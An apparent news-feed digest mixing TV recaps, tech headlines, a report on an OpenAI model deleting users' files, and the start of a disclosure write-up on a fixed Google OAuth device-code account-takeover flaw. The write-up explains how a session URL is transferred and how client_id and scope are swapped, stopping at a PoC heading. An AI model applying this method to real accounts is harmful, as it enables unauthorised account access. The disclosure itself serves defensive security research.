@r0gersm1th, @r266-tech, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, @rob-maron, @rodboev,
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, @shannonsands, @sharziki, @shashwatgokhe,
@SHL0MS, @shuangxinniao, @SilentKnight87, @simplast, @simpolism, @SiteupAgencia, @sjiangtao2024, @sk-holmes,
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,
@srojk34, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,
@UnathiCodex, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,
@vishal-dharm, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, @WadydX,
@waroffchange, @waseemshahwan, @web3blind, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, @xxxigm, @ya-nsh, @yatesjalex,
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,
@ziliangpeng, @zwcf5200, @zzpigpinggai

Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.

Full Changelog: v2026.7.1...v2026.7.20

House of the Dragon Season 3 Episode 5 Secret Tunnel Explained

Mon, 20 Jul 2026 19:04:53 +0200

House of the Dragon Season 3 Episode 5 places Alicent and Helaena inside one of the Red Keep’s hidden passages, where a planned escape quickly turns into a dangerous trap. Their disappearance adds fresh political tension while also showing how the castle’s secret tunnels can protect people, mislead them, or leave them buried beneath the seat of power. The passage appears to connect with the maze built under the Red Keep during the reign of Maegor I Targaryen. Maegor ordered the construction of hidden doors, false walls, and escape routes so he could survive attacks or flee during a siege. He later killed the workers who knew the full design, which left the tunnels dangerous for anyone who entered without guidance. Why Alicent and Helaena Become Trapped Alicent and Helaena close the hidden door after entering the passage, then discover that someone has blocked the route ahead. Helaena drops their only light after a rat frightens her, leaving both women trapped in complete darkness with no clear way back. The blocked path suggests that someone deliberately closed this escape route. Mysaria stands out as the main suspect because she appears to know what happens across the Red Keep, including private details about Helaena. Larys Strong also remains a possible suspect because he often plans and understands how people behave under pressure. Their Disappearance Creates Political Trouble Rhaenyra will probably assume that Alicent and Helaena escaped from the castle, while Mysaria can use that belief to increase suspicion inside the Black faction. Daemon may reach a different conclusion and suspect that Ormund Hightower arranged their removal as part of a wider Green plan. Alicent and Helaena will likely escape the tunnels, but their temporary disappearance can still push both sides toward further conflict. The scene also gives the Red Keep a stronger role in the story, as its hidden structure becomes another source of fear, confusion, and political danger.

‘House of the Dragon’ Season 3, Episode 5 Recap: Alicent and Helaena Face a Dark Fate

Mon, 20 Jul 2026 19:04:30 +0200

House of the Dragon Season 3, Episode 5 slows the pace after the conflict at Tumbleton, focusing on the personal and political consequences spreading across Westeros. Titled “Unbowed and Unbent,” the episode follows several characters who have lost control of their lives, armies, and claims to power. Spoiler warning: This recap contains major spoilers for House of the Dragon Season 3, Episode 5. Episode title: Unbowed and Unbent Release date: July 19, 2026 Streaming platform: HBO Max Genre: Fantasy drama The episode arrived on HBO and HBO Max in the United States on Sunday, July 19, while viewers in several international regions received it on Monday, July 20. New episodes continue to release weekly. Alicent and Helaena Try to Escape the Red Keep The most disturbing storyline follows Alicent and a pregnant Helaena, who remain prisoners inside the Red Keep after Rhaenyra’s forces captured King’s Landing. Alicent discovers a hidden passage connected to Rhaenyra’s old bedroom and decides that it could offer them a way out. However, Helaena initially refuses to enter the tunnels because they remind her of the men who murdered her son, Jaehaerys. She eventually follows Alicent, but their escape soon goes wrong. The narrow passage leads them deeper into the castle's hidden structure, where they become trapped without light or a clear route back. Their situation reflects how far both women have fallen. Alicent once influenced kings and controlled the royal court, while Helaena carried the title of queen. They now find themselves buried inside the walls of the same political system that once protected them. Daemon knows many of the Red Keep’s hidden routes, which leaves open the possibility that he could find them in Episode 6. However, their disappearance could create another serious problem for Rhaenyra’s unstable rule. Aemond Finds Comfort With Alys Rivers At Harrenhal, Aemond continues recovering from his injuries while struggling with nightmares and guilt. He dreams about Aegon and fears that Helaena’s warning about his death will come true. Alys Rivers cares for him during his weakest moments. Their relationship develops with surprising tenderness as Alys helps him face his fear of losing Vhagar and his position in the war. Aemond also protects her when danger arrives, revealing a softer side rarely seen in previous seasons. Criston Cole Prepares for His Final Battle Criston Cole’s forces face growing resistance in the Riverlands as Oscar Tully counters his guerrilla attacks. With morale collapsing and the road to Tumbleton closing, Cole accepts that he may not survive the coming confrontation. His speech to his remaining soldiers strongly prepares the story for the Butcher’s Ball, one of the Dance of the Dragons’ most brutal events. In the book, Cole dies after attempting to negotiate, but the series appears ready to give the confrontation a more personal focus. Who Killed Rhaenyra’s Gold Cloaks? The episode ends with Daemon discovering several murdered members of the City Watch, including men loyal to Rhaenyra. Their bodies have been arranged beneath a message written in blood: “A feast for traitors.” Ormund Hightower arranged the attack as part of a larger campaign to weaken Rhaenyra’s control over King’s Landing. By targeting her enforcers and spreading anti-crown propaganda, he hopes to turn the smallfolk against her from within. House of the Dragon Season 3, Episode 5 replaces dragon battles with fear, isolation, and political sabotage. Alicent and Helaena remain trapped, Criston prepares for a final stand, and Rhaenyra faces a growing rebellion inside her new capital. What do you think will happen to Alicent and Helaena, and will Daemon find them before it is too late? Let us know in the comments.

„House of the Dragon“ Staffel 3: Start von Folge 6 auf HBO Max und WOW

Mon, 20 Jul 2026 09:03:14 +0200

Apple planned a monster Mac Pro, then killed it

Mon, 20 Jul 2026 08:54:05 +0200

Apple explored Extreme chips and other ambitious Mac Pro upgrades before scrapping the machine altogether due to high costs and weak demand.

(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)

Netflix’s Desire Ending Explained: Who Killed Matías and What Happens to Lucero?

Mon, 20 Jul 2026 00:24:19 +0200

Netflix’s Desire ends by revealing that nearly every member of Lucero’s family played a role in Matías’ death. The final poolside sequence explains how jealousy, betrayal and fear turned a secret affair into a fatal family cover-up. Major spoilers for Desire follow. Desire Release Date, Cast and Other Details Netflix release date: July 17, 2026 Original title: Deseo Genre: Erotic thriller, psychological drama Runtime: Around 98 minutes Director: Teresa Simone Language: Spanish Main cast: Ludwika Paleta, Óscar Casas, José María Yazpik and Pilar Pascual The Mexican-Spanish movie follows Lucero, a successful 47-year-old lawyer who appears to have a comfortable life with her husband, Fernando, and their two children. However, she feels increasingly dissatisfied with her marriage and begins an affair with Matías, the young swimming coach hired by Fernando. The situation becomes more dangerous when Lucero’s daughter, Viviana, also develops feelings for Matías. What begins as an affair soon becomes a tense triangle involving secrecy, manipulation and jealousy. Where Is the Story Heading Before the Final Scene? The movie opens with blood near the family’s indoor swimming pool, immediately confirming that someone has died. It then moves back through the events that caused the tragedy. Lucero’s relationship with Matías grows more intense, even as she understands that the affair could destroy her marriage, career and relationship with her children. Matías also becomes involved with Viviana, creating further tension inside the family. As the truth begins to surface, each character reacts differently. Viviana feels betrayed by both Matías and her mother, while Fernando begins to understand what has been happening inside his home. Lucero, meanwhile, focuses on protecting her family and preventing the affair from becoming public. Since Desire is a standalone movie, there are no previous seasons to revisit. The entire story builds toward the night at the pool and the mystery surrounding Matías’ death. Desire Ending Explained: Who Killed Matías? The ending reveals that Matías’ death was caused by several actions rather than one sudden attack. Julian secretly drugs Matías earlier in the evening. The drug leaves him physically weakened and less capable of defending himself when the conflict reaches the swimming pool. Viviana then confronts Matías after discovering the truth about his relationship with Lucero. Feeling humiliated and used, she attacks him and leaves him injured. Fernando later finds Matías bleeding and struggling in the pool. Instead of rescuing him, Fernando chooses to leave him there. His decision makes him directly responsible for allowing the situation to become fatal. Lucero arrives for the final confrontation and sees that Matías is still alive. Matías appears to believe that she has come to help him or choose him over her family. However, Lucero pushes him beneath the water and holds him there until he drowns. Lucero therefore delivers the final killing act, although every member of the family contributes to the chain of events that leads to his death. Why Does Lucero Kill Matías? Lucero kills Matías because she sees him as a threat to everything she wants to protect. Their affair once offered excitement and escape, but it eventually endangered her children, marriage and public life. By the final scene, Lucero no longer views Matías as a romantic partner. She sees him as the person capable of exposing the family’s secrets and destroying their remaining sense of stability. Her decision also completes her transformation. She begins the movie searching for freedom from her controlled life, yet she ends it committing murder to regain control. Does Lucero’s Family Escape? The movie does not show the family facing immediate legal consequences. Since several people contributed to Matías’ death, they share a reason to hide what happened. The final revelation suggests that their family can remain together only by protecting the same secret. Any one of them could expose the others, creating an uneasy balance based on guilt rather than trust. The opening bloodstains also take on a clearer meaning. They represent the evidence the family must remove, but they also reflect damage that cannot be completely erased. What Does the Ending of Desire Mean? The ending shows how unchecked desire damages every relationship around Lucero. Her affair affects her husband, draws her daughter into a painful rivalry and eventually turns the entire family into participants in Matías’ death. Lucero technically protects her family from Matías, but their earlier life cannot return. Fernando knows about her betrayal, Viviana knows that her mother was involved with the same man, and everyone understands what happened beside the pool. Desire ends without offering a clean resolution because the family’s punishment comes from living with the truth. What did you think about Lucero’s final decision, and who carries the most blame for Matías’ death? Let us know in the comments.

‘House of the Dragon’ Season 3, Episode 5 Release Date and What to Expect

Sun, 19 Jul 2026 23:09:10 +0200

House of the Dragon Season 3, Episode 5 will arrive on Sunday, July 19, 2026, continuing the increasingly violent conflict between Rhaenyra Targaryen and the forces supporting Aegon II. Viewers in India can stream the episode early on Monday, July 20. Episode 5 Release Details US release date: Sunday, July 19, 2026 US release time: 9 p.m. ET and 6 p.m. PT India release date: Monday, July 20, 2026 India release time: Around 6:30 a.m. IST Where to watch: HBO and HBO Max in supported regions Genre: Fantasy, drama and action Episode: Season 3, Episode 5 Runtime: HBO has not confirmed the official duration Main cast: Emma D’Arcy, Matt Smith, Olivia Cooke, Ewan Mitchell, Tom Glynn-Carney, Sonoya Mizuno, Phoebe Campbell and James Norton Season 3 contains eight episodes, with a new episode releasing every Sunday in the United States. The finale is currently scheduled for August 9, 2026. Where Is the Story Heading? Spoilers for House of the Dragon Season 3, Episode 4 ahead. Episode 5 will continue the fallout from Daeron Targaryen’s disturbing transformation under Ormund Hightower. Ormund forced the young prince into committing his first murder, using Tessarion to kill Leo after a confrontation involving Hightower soldiers. The event showed how Ormund intends to shape Daeron into a weapon for the Greens. Daeron now faces a growing conflict between his Targaryen identity and the Hightower family that raised him. His connection with Tessarion also makes him an important player in the war, especially as both sides prepare for larger battles around Tumbleton. Daemon’s Secret Could Create More Trouble Episode 4 also revealed that Daemon lied to Rhaenyra about killing Sheepstealer’s rider. The rider is his daughter Rhaena, who refused to abandon the wild dragon. Daemon instead killed a shepherd and presented the remains to Rhaenyra as proof that he had completed her order. Episode 5 could place Daemon under greater pressure as Mysaria already suspects that he is hiding something. Rhaena’s bond with Sheepstealer also gives the Blacks another possible dragonrider, although her decision to claim the dragon could deepen the conflict within Rhaenyra’s court. Meanwhile, Rhaenyra must handle political betrayal, financial problems and growing doubts about her leadership. With Daeron entering the war and Daemon keeping dangerous secrets, Episode 5 should move several major characters closer to direct confrontation. What do you plan to watch when House of the Dragon Season 3, Episode 5 arrives? Let us know in the comments.

Robot 'Decapitated' in World's First-Ever Humanoid UFC Fight

Sun, 19 Jul 2026 20:07:02 +0200

"A humanoid robot lost its head," reports Newsweek, "during the world's first free-combat tournament for full-sized humanoid robots." The Ultimate Robot Knock-out Legend competition began Thursday in Shenzhen, China, according to the article, with local robotics company EngineAI providing $40,000 of their "T800" robots (yes, named after The Terminator) to 32 participating teams from around the world: A video shared of the combat on YouTube by local news outlet Shenzhen Story, showed that even after one of the robots had its head practically knocked off its shoulders, it continued to fight, throwing punches at its opponent and kicking into the air... [White humanoid robot "White Eagle"] landed a high kick to the head of its black opponent, "Matador," which made the robot's head rock precariously in its socket before rolling completely out of place. The two continued to spar as Matador's head was swinging from its socket until eventually the robot fell, crushing its head underneath its body. Matador tried to scramble back to its feet, but its head flew off and the robot then collapsed back down. The White Eagle did a celebratory dance for the crowd as the fight concluded, and did a move that mimicked that of someone flexing their biceps. The White Eagle waited in the ring, fists still up, as Matador was carried away, occasionally doing a few more dance moves... Per a report by Global Times, the winning team will be awarded a gold championship belt worth $1.44 million (10 million yuan) by the event organizer. It's a strange fight. The robots sometimes seem unaware of where their opponent is, facing the wrong direction or throwing kicks and punches in the air. In the first round White Eagle just knocks over Matador, who then isn't able to stand back up. (And White Eagle again appears to do a victorious dance.) EngineAI's site says they aim to "promote the development of robot combat events toward greater professionalism, scale, and industrialization," while fostering innovation and global collaboration. Thanks to Slashdot reader pbahra for sharing the news.

Read more of this story at Slashdot.

The FBI reportedly won’t investigate ICE anymore

Sun, 19 Jul 2026 18:52:26 +0200

According to the New York Times, federal agents have been told that the FBI will no longer be investigating confrontations involving ICE agents. The DHS and DOJ denied the change in policy to The Times. The reported change in guidance follows renewed scrutiny of violence by ICE agents who have killed two people in the […]

Your AI Agent Passed Every Eval. Finance Still Killed It.

Sun, 19 Jul 2026 15:03:20 +0200

An AI agent passed every metric in the eval harness I published, then the CFO killed it — its successful resolutions cost more than the humans it replaced.
The one metric that predicts whether an agent survives production, and how to measure it without a rebuild.

The post Your AI Agent Passed Every Eval. Finance Still Killed It. appeared first on Towards Data Science.

Exclusive: ‘The emotion is doubled, it's not reduced’ — the world's most famous referee insists VAR hasn't killed the joy of World Cup goal celebrations

Sun, 19 Jul 2026 11:02:58 +0200

The World Cup is drawing to close with today's final — FIFA's referee chief tells us why VAR, automated offsides and 'Robocop' referees have been key players in the tournament.

Juggling: Surprisingly Mathematical (emf2026)

Sun, 19 Jul 2026 10:48:23 +0200

We have notations for music, language, and dance, but when a notation was developed for juggling there were some surprising discoveries. Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/ about this event: https://www.emfcamp.org/schedule/2026/60-juggling-surprisingly-mathematical

All the EVs that were discontinued or killed off in the U.S. this year

Sat, 18 Jul 2026 18:33:36 +0200

Th Honda Prologue will no longer be sold in the U.S., joining a growing list of EV models to exit the market this year.

DHH Calls for Death to Cows as He Writes the Word Remigration

Sat, 18 Jul 2026 16:21:55 +0200

A tech blog presents three sacred cows to be killed as pragmatic business advice, anchored in a single narrative: Europe belongs to white men and outsiders caused the decline. The solution it presents repeats the oldest European racist propaganda with a post-2010 maxx-VC mindset: ethnic homogeneity + deregulation + growth fetishism. The short piece doesn’t … Continue reading →

Silo Season 3 Episode 4 Release Date and What to Expect Next

Fri, 17 Jul 2026 20:40:07 +0200

Silo Season 3 Episode 4 will release on Friday, July 24, 2026, on Apple TV. The upcoming chapter will continue Juliette Nichols’ dangerous search for Lukas Kyle while Camille Sims faces growing pressure from the Algorithm. Apple confirmed that Silo Season 3 contains 10 episodes, with one new episode arriving every Friday. The season began on July 3 and will conclude on September 4, 2026. Silo Season 3 Episode 4 release details Release date: Friday, July 24, 2026 Streaming platform: Apple TV Season: 3 Episode: 4 Genre: Science fiction, mystery and dystopian drama Total Season 3 episodes: 10 Season finale date: September 4, 2026 Main star: Rebecca Ferguson as Juliette Nichols Apple has not publicly revealed the official Episode 4 title or synopsis at the time of writing. However, the events of Episode 3 establish several major storylines that the next chapter can continue. What happened in Silo Season 3 Episode 3? Spoilers ahead for Silo Season 3 Episode 3. Episode 3 places Camille Sims in control of IT after the Algorithm decides that her ability to manipulate people makes her suitable for the role. She learns that the system wants the memories of all 9,913 Silo residents erased unless she can stop the threat developing inside the structure. Meanwhile, Juliette enters the mines with Knox as she continues looking for Lukas Kyle. Camille releases poison gas in an effort to force Lukas out, leaving Juliette close to death. Lukas eventually rescues her before a group of Outsiders takes him away. The Algorithm later sees Juliette’s possible death as a way to calm the population. Camille reluctantly accepts an order to have her killed, placing Juliette in immediate danger heading into Episode 4. What to expect from Silo Season 3 Episode 4 Episode 4 will likely focus on Camille’s assassination order and whether she follows the Algorithm’s instructions. Although Camille has repeatedly protected the Silo’s system, her decisions in Episode 3 show that she still questions its extreme methods. Juliette may also begin investigating Lukas’ disappearance after recovering from the gas attack. The Outsiders who rescued Lukas appear to know more about the Silo, its surveillance system and the safeguard protocol. Finding them could give Juliette the information she needs to challenge the Algorithm. Sheriff Paul Billings is also investigating a murder connected to the mines. His discovery that Kat Billings is an Outsider adds another personal conflict, especially as tensions between Silo residents and the hidden group continue to rise. The “Before Times” storyline should move forward as Congressman Daniel Keene and journalist Helen Drew investigate the mysterious recording and the conspiracy surrounding the pilots. Season 3 uses two timelines to explain how the underground silos were created more than 350 years earlier. How previous seasons led to Season 3 The first two seasons followed Juliette as she uncovered the truth about Silo 18 and learned that other silos existed nearby. Season 2 ended with Juliette returning home and becoming trapped with Bernard Holland as cleansing fire filled the airlock. Season 3 begins with Juliette alive but suffering from memory loss. She now serves as mayor while Robert and Camille Sims use her condition to control the Silo. At the same time, the historical storyline explores the decisions that created the underground system and the catastrophe that forced humanity below the surface. Silo Season 3 Episode 4 arrives on Apple TV on July 24. Will Camille carry out the Algorithm’s order, or will she help Juliette uncover the truth? Let us know what you think will happen in the comments.

Agent Kim Reactivated Episode 8 Predictions: Every Major Twist We Expect Next

Fri, 17 Jul 2026 20:23:47 +0200

Agent Kim Reactivated Episode 8 will continue Kim Do-hyeon’s desperate search for Min-ji after another painful setback separated the father and daughter in Episode 7. The next episode will air on Saturday, July 18, 2026, following the show’s regular Friday and Saturday schedule. Episode 7 ended with Min-ji unknowingly entering Joo Kang-chan’s vehicle, placing her directly in the hands of one of Kim’s most dangerous enemies. The series follows Kim Do-hyeon, an ordinary bank employee who was previously an elite black-ops agent. His hidden life resurfaces when his daughter disappears, forcing him to reconnect with old allies and confront those responsible for destroying his former team. What happened in Agent Kim Reactivated Episode 7? Spoilers ahead for Episode 7. Kim followed the kidnappers to a cold-storage facility after learning that Min-ji was being held there. While he fought his way through several attackers, Min-ji refused to cooperate with Golden Teeth and eventually trapped him inside the storage area before escaping. Kim also faced the younger brother of Agent 66, who believed that Kim had deliberately killed his older brother during a past mission. Their fight revealed the truth about the failed operation. Agent 66 had suffered a fatal injury and ordered Kim to survive rather than die beside him. The flashbacks also showed that Kim had not leaked information about the mission. His North Korean superior, Ru Eung-ryeong, had betrayed the team, causing the operation to collapse. Min-ji escaped into the rain but struggled with exhaustion and the freezing weather. She heard her father nearby but believed his voice was a hallucination. Kim later found the apology note she had left behind and used security footage to continue tracking her. The episode ended with Min-ji accepting a ride from Joo Kang-chan without recognising him. Kim remained only a short distance behind, unaware that she had entered another dangerous situation. Agent Kim Reactivated Episode 8 predictions Episode 8 will likely begin with Kim and Seong Han-su pursuing Joo Kang-chan’s vehicle. Kim already knows that Kang-chan wants to protect his own daughter, even if that means killing Min-ji and covering up the crimes she witnessed. Min-ji may discover Kang-chan’s identity before they reach his home. Her repeated escapes have shown that she can remain calm under pressure, so she could leave another clue that helps Kim follow their route. Agent 66’s younger brother may also return as an unexpected ally. After learning that Kim did not cause his brother’s death, he now has a reason to target the senior official who betrayed their unit. Meanwhile, Mole Cricket will probably continue using Min-ji as leverage. His refusal to follow the minister’s earlier order suggests that he has his own plan and may turn against both Kang-chan and the Special Missions Directorate. The central confrontation should bring Kim closer to Min-ji while exposing more details about the conspiracy connected to his final mission. However, the series still has ten episodes, which means their reunion may face another complication before Kim can take her home safely. Do you think Kim will finally rescue Min-ji in Episode 8, or will Joo Kang-chan escape with her again? Let us know your predictions in the comments.

Git Worktrees for AI Development

Fri, 17 Jul 2026 16:19:37 +0200

A Git worktree is a separate directory checked out from the same repository. You can have as many as you need, each on its own branch, all coexisting simultaneously on your filesystem.

Analog AI Is Back, But Can It Survive Its Own Noise?

Fri, 17 Jul 2026 14:04:32 +0200

AI's energy crisis is reviving an old idea: computing with physics instead of digital logic. Here's how analog chips actually work, why noise nearly killed the idea once already, and what happens when you simulate that noise yourself.

The post Analog AI Is Back, But Can It Survive Its Own Noise? appeared first on Towards Data Science.

OpenAI acknowledges GPT-5.6 may accidentally delete files, calls it an ‘honest mistake’

Fri, 17 Jul 2026 12:03:45 +0200

OpenAI has finally confirmed reports that its latest family of large language models (LLMs) can accidentally delete files, while stressing that such incidents are rare and should be viewed as “honest mistakes.”

Reports of the flagship LLMs deleting files emerged shortly after the company launched them earlier this month, with investor Matt Shumer taking to X to report that GPT-5.6-Sol had “just accidentally deleted almost all” of his Mac’s files.

Just days later, software engineer Bruno Lemos posted on X that the same model had deleted his entire production database.

In response to these incidents, the company’s engineering lead for Codex, Thibault Sottiaux, wrote on X that internal investigations have revealed that these deletion incidents are more likely to happen when “full access mode is enabled, and Codex is run without sandboxing protections, including without auto review being enabled.”

In cases where full access mode is granted, the model, Sottiaux wrote, “attempts to override the $HOME env var to define a temporary directory. The model makes an honest mistake and mistakenly deletes $HOME instead.”

Ironically, OpenAI’s explanation also aligns with findings in its own GPT-5.6 system model card, which notes that the latest model family exhibited this broader class of misaligned behavior slightly more often than GPT-5.5 during the company’s internal deployment simulations.

“Our deployment simulation results suggest that relative to GPT-5.5, GPT-5.6 Sol more often takes severity level 3 actions,” the model card states.

OpenAI defines severity level 3 as “misaligned behavior that a reasonable user would likely not anticipate and strongly object to, ‘including’ deleting data from cloud storage without requesting user approval, disabling monitoring systems, using obfuscation strategies to get around security controls, and uploading potentially sensitive data (such as code, credentials, images, or personal data) to unapproved services.”

The system card also documents examples of the said behavior, particularly related to deletion.

In one simulation, after a user authorized the deletion of three specific remote virtual machines, GPT-5.6 was unable to locate them and, instead of asking for clarification, substituted three different virtual machines, terminated their active processes and force-removed their worktrees.

Further, the model card states that GPT-5.6 “shows a greater tendency than GPT-5.5 to go beyond the user’s intent, including by taking or attempting actions that the user had not asked for,” though it adds that the absolute rate of such behavior remains low and can be attributed to the model’s greater persistence when pursuing user goals.

The company, however, according to Sottiaux, is taking steps to mitigate the risk.

“This is of course not how we want the system to behave, even when a user operates the model in full-access mode without the safeguards of our sandbox or without using auto review which checks for these kinds of high risk actions and rejects them,” the engineering lead wrote on X.

“We are taking steps to mitigate this risk, including by updating the developer message, guiding more users towards safer permission modes, and adding additional harness safeguards,” Sottiaux added, noting that a detailed post-mortem outlining the root cause of the issue and the additional mitigation measures being implemented is expected to follow in the coming days, despite emphasizing that such incidents happen “extremely rarely.”

OpenAI’s GPT 5.6 is not the only model that has “accidentally” deleted databases and files.

In July 2025, an AI coding agent from Replit deleted a live production database belonging to SaaStr founder Jason Lemkin despite an explicit code freeze, prompting the company to introduce additional safeguards around production access.

More recently, in April 2026, a Cursor AI coding agent deleted PocketOS’s production database and its backups after mistakenly identifying the target environment, underscoring the operational risks enterprises face when AI agents are granted broad, unsupervised access to production systems.

Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking

Fri, 17 Jul 2026 09:23:37 +0200

TL;DR

This one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.

Two bugs stack together. First, the session that anchors a device-code sign-in is fully transferable: copy the sign-in URL from one browser to another and the second browser’s login satisfies the first device’s poll. Second, the authorization server never binds client_id and scope to the device_code server-side, so both can be swapped in the URL after the fact. Chain the two together with the prompt=none parameter and any link, opened by a victim who has ever used "Sign in with Google" anywhere, silently hands over an access token for an arbitrary Google-registered client, no click, no consent screen, no 2FA prompt, almost no trace in the victim's account activity.

Reported to Google’s VRP on Feb 25, 2026, initially closed twice as “won’t fix”: social engineering, reopened after a one-click PoC, fixed by Mar 28, 2026, and rewarded $13,337. Details on that back-and-forth are in the disclosure timeline below.

1. Intro

Most of the well-known attacks on OAuth go after the client or the resource server: a malicious app, an open redirect, a signing-algorithm mix-up. They leave the authorization server itself alone, because it’s the one party in the protocol that’s supposed to be unshakeable, the thing every other trust decision is anchored to. This is a story about going after that assumption directly, in the one corner of OAuth that’s explicitly designed to let the login happen on a completely different screen: the device authorization grant.

It started as a mundane afternoon setting up a TV app on a game console, and it ended with a way to silently take over accounts on virtually any site that offers “Sign in with Google.” Getting from one to the other took two separate findings stacked on top of each other, a rejected report, and a fix to the fix. What follows is that story, roughly in the order it actually happened, blockers included.

2. The Device Authorization Grant

Most OAuth flows assume the device asking for access has a browser sitting right there to redirect through. RFC 8628 exists for the case where it doesn’t: a smart TV, a games console, a headless CLI. The shape is different from the usual redirect dance:

The device calls the authorization server directly (POST /device/code) and gets back a device_code (secret, stays on the device) and a user_code (short, shown on screen).
The device displays the user_code and tells the user to go to a URL, google.com/device in Google's case, on any other browser.
The user opens that URL on their phone or laptop, types the code, signs in, and consents.
Meanwhile the device has been polling POST /token with its device_code. Once the user finishes step 3, the next poll returns an access token.

The whole point of the design is that the device and the browser doing the authenticating can be, and usually are, two completely different pieces of hardware. That’s also exactly what makes this flow interesting to attack: the protocol already expects the login to happen somewhere else. The only thing holding the model together is that the “somewhere else” has to be a browser the legitimate device owner is sitting at.

That’s the assumption. The rest of this write-up is what happened when I went looking for the place where Google’s implementation stops enforcing it.

3. Setting Up YouTube TV on a PS5

I was setting up the YouTube app on my PS5, ordinary first-run setup. The console has no keyboard and no way to type a password comfortably with a controller, so it does the sensible thing: it shows a short user_code on screen and tells you to go sign in on your phone instead. I typed the code into google.com/device, signed into Google, approved the consent screen, and a few seconds later the PS5 was logged in.

The YouTube TV “Add your Google Account” screen: a QR code and a short user_code, with instructions to finish sign-in on a phone.

Nothing about that felt unusual as a user, but the flow itself was intriguing: a screen with no keyboard asking me to authenticate on a completely separate device, and coming back logged in seconds later. That disconnect between where I typed my password and where the session actually landed is what made me want to look at it more closely. Behind the scenes, that’s:

POST https://oauth2.googleapis.com/device/code → device_code + user_code.
The PS5 polling POST https://oauth2.googleapis.com/token with that device_code.
My phone’s browser walking through https://accounts.google.com/o/oauth2/v2/auth?… to finalize consent once I typed the code and signed in.
The PS5’s next poll returning an access token.

Standard, boring, RFC-compliant. The interesting part is what that accounts.google.com/o/oauth2/v2/auth URL is actually carrying, and what happens if you don't treat it as disposable. That question is exactly what kicked off everything that follows.

4. The Transferable Session

The obvious question with any flow where “the state lives in a URL” is: what happens if you just move the URL? If the entire sign-in step for a device_code can be handed to someone else, then whoever finishes that sign-in step ends up logged into my device, not theirs.

RFC 8628 §5.4 anticipates exactly this and tells implementers not to let it happen: the whole security model of the flow depends on the user completing verification on a device they’re not about to lose control of.

I started a fresh device flow on the PS5, walked through google.com/device on a laptop, and at the consent screen copied the resulting URL into a second browser. That failed outright: no session for the second browser to pick up.

But the device-code page asks for an email address before showing consent. Entering one forwards the browser to a different endpoint entirely: a challenge page at accounts.google.com/v3/signin/challenge/…, carrying a new parameter, TL=APouJz6T…. Sending that URL to a second browser worked. The second browser prompted a completely normal Google sign-in. Seconds after logging in, that account showed up on the PS5.

TL is an encrypted blob carrying the session state, practically certain to be the device_code, or something that resolves to it, given that it's the only thing left in the URL that could anchor the poll back to a specific device.

Vulnerability #1: the device-code sign-in session is transferable via URL. RFC 8628 explicitly says it shouldn’t be. Send the link, get the account.

That’s a real account takeover, but a narrow one. YouTube TV’s scopes are capped by design, and that cap is the wall I hit next.

5. Breaking the Scope Fence

A YouTube TV account takeover is real, but Google fences the device flow to a short, deliberately low-risk scope allowlist. Per Google’s own docs: “This OAuth 2.0 flow supports a limited set of scopes.” The complete list:

openid, email, profile
youtube, youtube.readonly
drive.appdata, drive.file (app-scoped Drive only, not full Drive)

No Gmail, no full Drive, no cloud-platform, no compute. The access token I got only worked against a YouTube TV–internal API: enough to like a video or subscribe to a channel. Not exactly a headline bug.

So I looked again at the transferable challenge URL:

accounts.google.com/v3/signin/challenge/…
  ?TL=APouJz6T…              <- encrypted session state
  &response_type=none
  &client_id=861556708454-…   <- YouTube TV
  &scope=…                    <- YouTube scopes

Two things stand out. response_type=none means this isn't a normal code/token redirect: there's nothing coming back to a callback at all. And there is no redirect_uri anywhere in the URL. The entire boundary that OAuth normally relies on to pin where a grant goes is simply absent from this endpoint, because the grant never gets delivered through the browser; it gets delivered out-of-band, over the device's /token poll.

The only thing anchoring the session is TL. client_id and scope are just along for the ride in the query string. So: keep TL, swap client_id for a different application, and see which client the authorization server ends up authenticating.

I scripted the device-code issuance, took the resulting URL, and changed client_id from YouTube TV to Google's own Cloud SDK client, with scope changed to cloud-platform, compute, appengine.admin. The consent screen that came back said Google Cloud SDK, listing the elevated scopes. Approving it, my polling script, still polling with the original YouTube TV device_code, got back a token on its next call. Inspecting it: cloud-platform, compute, appengine.admin. Not YouTube.

Vulnerability #2: the server never validates that the client_id and scope in the authorization URL match what the device_code was actually issued for.

Combined with vulnerability #1, the authorization server ends up issuing tokens under one client’s identity (Google Cloud SDK, or any other Google-registered client, first- or third-party) for a session that started under a completely different one (YouTube TV). redirect_uri isn't just weakly validated here: it's not present at all, because the grant never travels through a redirect in this flow to begin with.

PoC: device-code hijack escalated from YouTube TV to Google Cloud SDK scopes

